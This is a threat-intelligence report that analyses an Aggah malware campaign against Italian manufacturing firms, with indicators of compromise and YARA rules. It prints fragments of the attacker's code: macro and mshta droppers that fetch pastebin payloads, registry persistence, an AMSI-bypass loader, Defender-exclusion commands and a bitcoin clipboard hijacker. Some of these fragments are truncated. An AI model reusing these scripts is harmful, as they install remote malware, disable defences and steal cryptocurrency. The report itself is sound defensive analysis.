Cyber-Criminal espionage Operation insists on Italian Manufacturing

05/22/2020

Introduction

During our Cyber Threat Intelligence monitoring we spotted new malicious activities targeting some Italian companies operating worldwide in the manufacturing sector, some of them also part of the automotive production chain.

The group behind this activity is the same we identified in the past malicious operations described in Roma225 (12/2018), Hagga (08/2019), Mana (09/2019), YAKKA (01/2020). This actor was first spotted by PaloAlto's UNIT42 in 2018 during wide scale operations against technology, retail, manufacturing, and local government industries in the US, Europe and Asia. They also stated the hypothesis of possible overlaps with the Gorgon APT group, but no clear evidence confirmed that.

However, in order to keep track of all of our report, we synthesized all the monitored campaigns, with their TTPs and final payload:

Table 1: Synthetic table of the campaigns

As we can see from the table, the Aggah campaigns varied in the time, but it maintained some common points. All campaigns used as the initial stage an office document (PowerPoint Excel) armed with macro and some of them used injection methods.

All attack operations used a “Signed Binary Proxy Execution” technique abusing Mshta, a legit Microsoft tool, and used at least an executable file for the infection. In addition, the use of PowerShell stage or the abuse of legit web service has been reported in some campaigns.

Furthermore the CMSTP bypass exploit is a new feature present only in the 2020, because the first malwares identified to exploit this vulnerability all date back to mid/end 2019, making think the fact that the Threat Actor likes to test the latest disclosed exploits in order to make its campaigns always at the forefront. Regarding persistence mechanisms, we note that initially scheduled tasks were used, but in the latest infections the registry run keys were used. All threats use at least one obfuscation method to make the analysis harder.

Looking at the evolution of the final payloads, we can say that this evolution is certainly due to a chronological factor, since Revenge rat had become obsolete, but the evolution is also due to the technological factor and its means: revenge rat has the classic functionality of spyware, while AZORult is considered an info stealer. As a last payload, Agent Tesla was used which collects all the functionality of the previous payloads as it is considered an info stealer and spyware.

Technical Analysis

The infection chain starts with a malicious Microsoft Powerpoint weaponized with a malicious macro.

Hash	7eafb57e7fc301fabb0ce3b98092860aaac47b7118804
Threat	Malicious macro
Brief Description	Malicious ppt dropper with mac
Ssdeep	192:EFm9QiR1zQRZ0DfZGJjBVySCGVBdJWUpFVzsn6xVNdwWFj/WOvYoZLl

Table 2. Sample information

The content of the macro is quite easy to read and the content is short and easy to read:

Figure 1: Content of the malicious macro

The VBA macro is responsible to download and execute malicious code retrieved from pastebin. *j[.mp* is an url shortening service, the following request redirect and download a pastebin content:

Figure 2: Shortener resolution

The MSHTA Drop Chain

Like the previous campaigns, this threat actor uses a Signed Binary Proxy Execution (ID: T1218) technique abusing "*mshta.exe*" (T1170) a signed and legit Microsoft tool. Adversaries can use mshta.exe to proxy execution of malicious .hta files, Javascript or VBScript.

Figure 3: Piece of code of the Bnv7ruYp paste

As shown in the above figure, the code is simply URI encoded by replacing each instance of certain characters by one, two or three escape sequences representing the UTF-8 encoding of the character.

```
<script
language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">'id1CreateObject("WScript.S
"""mshta""""http:\\pastebin.com\raw\5CzmZ5NS"""
CreateObject("WScript.Shell").Run StrReverse("/ 08 om/ ETUNIM cs/ etaerc/ sksathcs
""Pornhubs"" /tr ""\""mshta\""http:\\pastebin.com\raw\5CzmZ5NS"" /F ",0
'id2CreateObject("WScript.Shell").RegWrite
StrReverse("TRATS\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "
"t" + "a""""http:\\pastebin.com\raw\sJEBiiMw""",
"REG_SZ"'id3CreateObject("WScript.Shell").RegWrite
StrReverse("\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "s" + "
"a""""http:\\pastebin.com\raw\YL0je2fU""", "REG_SZ"

'defidCreateObject("WScript.Shell").Run
"""mshta""""http:\\pastebin.com\raw\UyFaSxgj"""CreateObject("WScript.Shell").Reg
StrReverse("FED\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "s
"t" + "a""""http:\\pastebin.com\raw\UyFaSxgj""", "REG_SZ"
```

self.close</script>

Code Snippet 1

This stage acts as a dropper, in fact, it downloads and executes some pastebin contents through *mshta.exe.*

Figure 4: Evidence of the NIBBI author

This lasta campaign has been dubbed with the name of the Pastebin user spreading the malicious pastes. This time the name is "*NIBBI*". The first component is *5CzmZ5NS:*

Figure 5: Piece of the code of 5CzmZ5NS paste

The second one is *sJEBiiMw:*

Figure 6: Piece of the code of the sJEBiiMw paste

The third one, *YL0je2fU:*

Figure 7: Piece of the code of the YL0je2fU paste

and the fourth component, *UyFaSxgj:*

Figure 8: Piece of the code of the UyFaSxgj paste

This obfuscation technique is typical of this particular actor and he largely leveraged it in many malicious operations. Moreover, the usage of a legit website such as pastebin (T1102) gives a significant amount of cover such as advantages of being very often whitelisted. Using such a service permits to reduce the C2 exposure. In the past, other groups also used similar techniques to decouple attack infrastructure information from their implant configuration, groups such as APT41, FIN6 or FIN7.

Once decoded the first component (5CzmZ5NS), it unveils some logic, as shown in Code Snippet 2. First of all, the script set a registry key, as a windows persistence mechanism (T1060) in which it place the execution of the following command: "*mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX*"

```
<script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">Create
vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run "
CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityr
google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enu
$iwannajoinuiwannalea
Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','https://pastebin.com/raw/rnS6CU
$iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][l
'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://pastebin.
[System.Reflection.Assembly]::Load($deco
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObje
objWMIService.Get("Win32_ProcessStartup")Set objConfig =
GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "po
script kiddie expert i read code from samples on site then compile in my way'i ar
```

Code Snippet 2

The code contains some "funny" comments related to the twitter community of security researchers which constantly monitor the actor operations. Then, the final payload is identified by *Rk4engdU* paste.

Figure 9: Piece of the rnS6CUz paste

Decoding this hex stream we get the following powershell code:

```
function UNpaC0k3333300001147555 {
[CmdletBinding()]    Param ([byte[]] $byteArray)  Process {     Write-Verbose "Get-DecompressedByteArray"        $input = New-Object System.IO.MemoryStream( , $byteArray )     $output = New-Object System.IO.MemoryStream            $01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$puffpass = New-Object byte[](1024)    while($true){        $read = $01774000.Read($puffpass, 0, 1024)        if ($read -le 0) {break}        $output.Write($puffpass, 0, $read)        }        [byte[]] $bout333 = $output.ToArray()        Write-Output $bout333    }}
$t0='DEX'.replace('D','I');sal g $t0;[Byte[]]$MNB=('OBFUSCATED PAYLOAD ONE'.replace('@!','0x'))| g;
[Byte[]]$blindB=('OBFUSCATED PAYLOAD TWO'.replace('@!','0x'))| g
[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB
$blind=[System.Reflection.Assembly]::Load($deblindB)[Amsi]::Bypass()
[byte[]]$decompressedByteArray = UNpaC0k3333300001147555  $MNB
```

Code Snippet 3

The Powershell Loader

The *Code Snippet 3* is a Powershell script in which the function "*UNpaC0k3333300001147555*" is declared, having the purpose to manipulate the two payloads in the right way. Both of them are .NET binaries. The de-obfuscated code is stored in the *deblindB* variable and then executed.

As suggested by the name *deblindB*, invoke the execution of the static method "**Bypass"** of the "**Amsi"** class.

Figure 10: Amsi Bypass exploit evidence

Instead, the payload embedded inside the variable $MNB is another type of injection tool, but this one is not executed by the script, probably because both the binaries perform the same action and only one is sufficient.

At this point, we deepen the “sJEBiiMw” component obtaining:

```
<script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">Const HIDD
GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & st
objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance
GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "po
Object
Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c
(@*#(!@#*').replace('*!(@*#(!@#*','0');$_Xpin = $_Xpin.ToCharArray
[System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDoma
intProcessID)
self.close
</script>
```

Code Snippet 4

This script downloads and executes another script from pastebin: *ygwLUS9C*. It is a base64 encoded script with some basic string replacing. We also noticed this executable uses the CMSTP bypass technique (T1191), already seen in our previous report.

Figure 11: CMSTP Bypass evidence

However, in this case, there is a new element differently the previous version: through the CMSTP bypass, a VBS script is written in the “\%TEMP%\” folder, which executes many disruptive commands:

Figure 12: Evidence of the VBS script loaded and executed

The VBS script, as also mentioned inside the first row as comment, has the objective to set to zero the level of security of the infected machine. The script is the following:

```
$cici=@(36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,7
```

```
Set wso = CreateObject("WScript.Shell")wso.Reg
"HKCU\Software\Microsoft\Office\11.0\Exce
"HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAtt
"HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\
```

Code Snippet 5

As seen in the code a powershell command is hidden inside the variable named *$cici*, which is immediately converted from the decimal to the relative ascii value.

```
$userPath = $env:USERPROFILE$pathExclusions = New-Object
System.Collections.ArrayList$processExclusions = New-Object
System.Collections.ArrayList$pathExclusions.Add('C:\') >
$null$processExclusions.Add('Msbuild.exe') > $null$processExclusions.Add('Calc.exe')
> $null$processExclusions.Add('powershell.exe') >
$null$processExclusions.Add('wscript.exe') >
$null$processExclusions.Add('mshta.exe') > $null$processExclusions.Add('cmd.exe') >
$null$projectsFolder = 'd:\'Add-MpPreference -ExclusionPath $projectsFolderforeach
($exclusion in $pathExclusions){    Write-Host "Adding Path Exclusion: "
$exclusion    Add-MpPreference -ExclusionPath $exclusion}foreach ($exclusion in
$processExclusions){    Write-Host "Adding Process Exclusion: " $exclusion    Add-
MpPreference -ExclusionProcess $exclusion}Write-Host ""Write-Host "Your
Exclusions:"$prefs = Get-MpPreference$prefs.ExclusionPath$prefs.ExclusionProcess
```

Code snippet 6

In Code Snippet 6 we found a powershell code instructed to insert in the Microsoft Windows Anti-Malware exclusions the following processes: msbuild, calc, powershell, wscript, mshta and cmd.

Another script in this intricated chain is *YL0je2fU*:

```
"$cici=@(102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,11
```

Code Snippet 7

Even in this case there is a powershell script embedded in it using the same variable name "*$cici*", but with the following body:

```
function isBitcoinAddress([string]$clipboardContent){ if($clipboardContent[0] -ne '1') {
return $false }
$strLength = $clipboardContent.length if($strLength -lt 26 -or $strLength -gt 35) {
return $false }
$validRegex = '^[a-zA-Z0-9\s]+$' if($clipboardContent -cnotmatch $validRegex) {
return $false }
return $true}$bitcoinAddresses = ("19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W",
"19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W",
"19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W",
"19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W",
"19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W")$bitcoinAddressesSize =
$bitcoinAddresses.length$i = 0$oldAddressSet = ""while(1){ $clipboardContent = Get-
Clipboard if((isBitcoinAddress($clipboardContent)) -ceq $true -and $clipboardContent
-cne $oldAddressSet) { Set-Clipboard $bitcoinAddresses[$i] $oldAddressSet =
$bitcoinAddresses[$i] $i = ($i + 1) % $bitcoinAddressesSize }}
```

Code Snippet 8

The script performs a constant check in the clipboard of the victim machine, looking for bitcoin addresses and some of them are also hardcoded. The last stage is *UyFaSxgj*:

```
<script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">Const HIDD
GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & st
objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance
GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "pc
Object
Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c
(@*#(!@#*').replace('*!(@*#(!@#*','0');$_Xpin = $_Xpin.ToCharArray
[System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDoma
intProcessID)
self.close
</script>
```

Code Snippet 9

This component spawn through powershell a script a binary file from a pastebin, eyGv9x4B, but, unfortunately, at the time of analysis, the paste has been removed.

This example could suggest to us the power of the malicious infrastructure built from the attacker, where components could be removed or replaced with another one in every moment.

The Payload

As previously stated, the final payload is AgentTesla. It remains one of the most adopted commodity malware instructed to steal a large number of sensitive information about the victim. During the past years, we constantly studied the evolution of this threat and we enumerated all the sensitive data grasped by it.

However, also in this case, we obtained the final payload and the configuration of the SMTP client where sends the stolen information:

Figure 13: Configuration of the AgentTesla SMTP client

The domain "*atn-com.pw*" has been created ad-hoc in order to manage the infection campaign. Studying the uptime of the domain we were able to reconstruct the infection campaign of the threat actor.

Figure 14: Information about the C2 uptime stats

As shown above, the domain has been registered on the last days of january and it has been active since the middle of April. After a short period of inactivity, it compared another time the 2nd of May since these days.

Conclusion

The actor hiding behind this campaign can undoubtedly be considered a persistent cyber-threat to many organizations operating in production sectors in Europe and, in the last months, also in Italy. Its intricate infection chain developed and tested during the years gave him the flexibility needed to bypass many layers of traditional security defences, manipulating the delivery infrastructure from time to time.

During the time, the actor's delivery infrastructure was leveraged to install different kinds of malware: most of the time remote access trojans and info and credential stealing software.

Such malware types are capable of enabling cyber-espionage and IP theft operations, potentially to re-sell stolen information on dark markets.

No doubt, we will keep going to track this threat.

Indicators of Compromise

- Hashes

    - 7eafb57e7fc301fabb0ce3b98092860aaac47b7118804bb8d84ddb89b9ee38f3
    - b969a3c28be2086813b21007c2ef89b429cbec56f49eb5b304615cfe3ef9318d
    - f8c91d3d69ec47fb888e6239d7218c87bf6f4817489005d9978ba9d1eac49899
    - f8f97ecd134f13c66f50c11e4f17948c0acb49dd306031c3559a0e7c34003723
    - e4d14ba73670184066a00cf5d3361580f6c4fbc5d0862a90278d82e95426faa5
    - 58a9a5b49c1871d8792f84c81d490b54a93da633f0355d6ebb4badef93854320
    - cb1375d8163146b47fa28259d8c70022b35e22712b9f887d7c8b9c8751b32804
    - 28f6735b6cf7cc1613f465580da4113afe46cf96e60b8330619c32340c71d6a8
    - 540fce8483f6ca5516c9d8171dca4739e32a7bec1092f011f462d3c4ae4fd47b
    - 8912ea4551439a4925aba187eea2ac4eb5b43e458866812caa67d85c5420a2db
    - 8da105fd3f58ebfce0334f963370397f32fbef5bbb4bd6432ed18369dc46b959
    - 358a36a890383fc6aeaa89261e8a47b6217dd9bd1a31b63590b38bffe092a4f5
    - 1d10fca85f5a06e20a160299e6f8f4a528384a77934fce0d44f48cb7e6f5feb4

- DropUrls

    - http[:\\j[.mp\dmdmcrcrcryctcgufyguhmd
    - Pastebin

        - 5CzmZ5NS
        - Bnv7ruYp
        - Rk4engdU
        - rnS6CUzX
        - sJEBiiMw
        - UyFaSxgj
        - YL0je2fU
        - ygwLUS9C

    - eyGv9x4B'
- C2
  - atn-com[.pw
- Persistence
  - Setting of registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Exfiltration
  - Sensitive information about the victim machine

Yara Rules

```
rule NIBBI_AggahCampaign_macroPPS_May2020{

    meta:
      description = "Yara Rule for MacroPPS_NIBBI"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2020-05-21"
      tlp = "white"
          SHA256 =
"7eafb57e7fc301fabb0ce3b98092860aaac47b7118804bb8d84ddb89b9ee38f3"
      category = "informational"

    strings:
                  $a1 = {B5 B5 D6 FF FF B5 8C}
                  $a2 = {FF 00 63 B5 39 00 00 FF D6}
                  $a3 = "Reverse"

    condition:
         all of them
}

rule NIBBI_AggahCampaign_AMSIBYPASS_May2020{
    meta:
      description = "Yara Rule for AMSI Bypass_NIBBI"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2020-05-21"
      tlp = "white"
          SHA256 =
"e4d14ba73670184066a00cf5d3361580f6c4fbc5d0862a90278d82e95426faa5"
      category = "informational"

    strings:
                $a1 = {24 5A 20 F4 88 D7 C4 61 38}
                $a2 = {76 FF 5A 20 76 05 76 23 61 38}
                $s1 = {07 20 E7 3F 43 14 5A 20 EB E6 0D 25}
                $s2 = "ConfuserEx"
                $s3 = "amsi.dll"

    condition:
               uint16(0) == 0x5A4D and all of ($a*) and 2 of ($s*)
}

rule NIBBI_AggahCampaign_AgentTesla_May2020{

    meta:
      description = "Yara Rule for AgentTesla Bypass_NIBBI"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2020-05-21"
      tlp = "white"
          SHA256 =
"1d10fca85f5a06e20a160299e6f8f4a528384a77934fce0d44f48cb7e6f5feb4"
      category = "informational"

    strings:
                $a1 = {06 FE 0C 0A 00 20 6D E9 56 47 5A 20 57 AB}
                $a2 = {00 20 6B 4F 2B 72 5A 20 F6 D4}
                $s1 = {61 67 00 61 68 00 6C 76 00 61 65 00 61 75}
                $s2 = {00 11 06 6F 38 01 00 06 16 6F 1E 02}
                $s3 = {01 13 2D ?? 2D 16 17 8C 77}

    condition:
```

```
                    uint16(0) == 0x5A4D and all of ($a*) and 2 of ($s*)
    }
```

This blog post was authored by Luigi Martire, Giacomo d'Onofrio, Antonio Pirozzi and Luca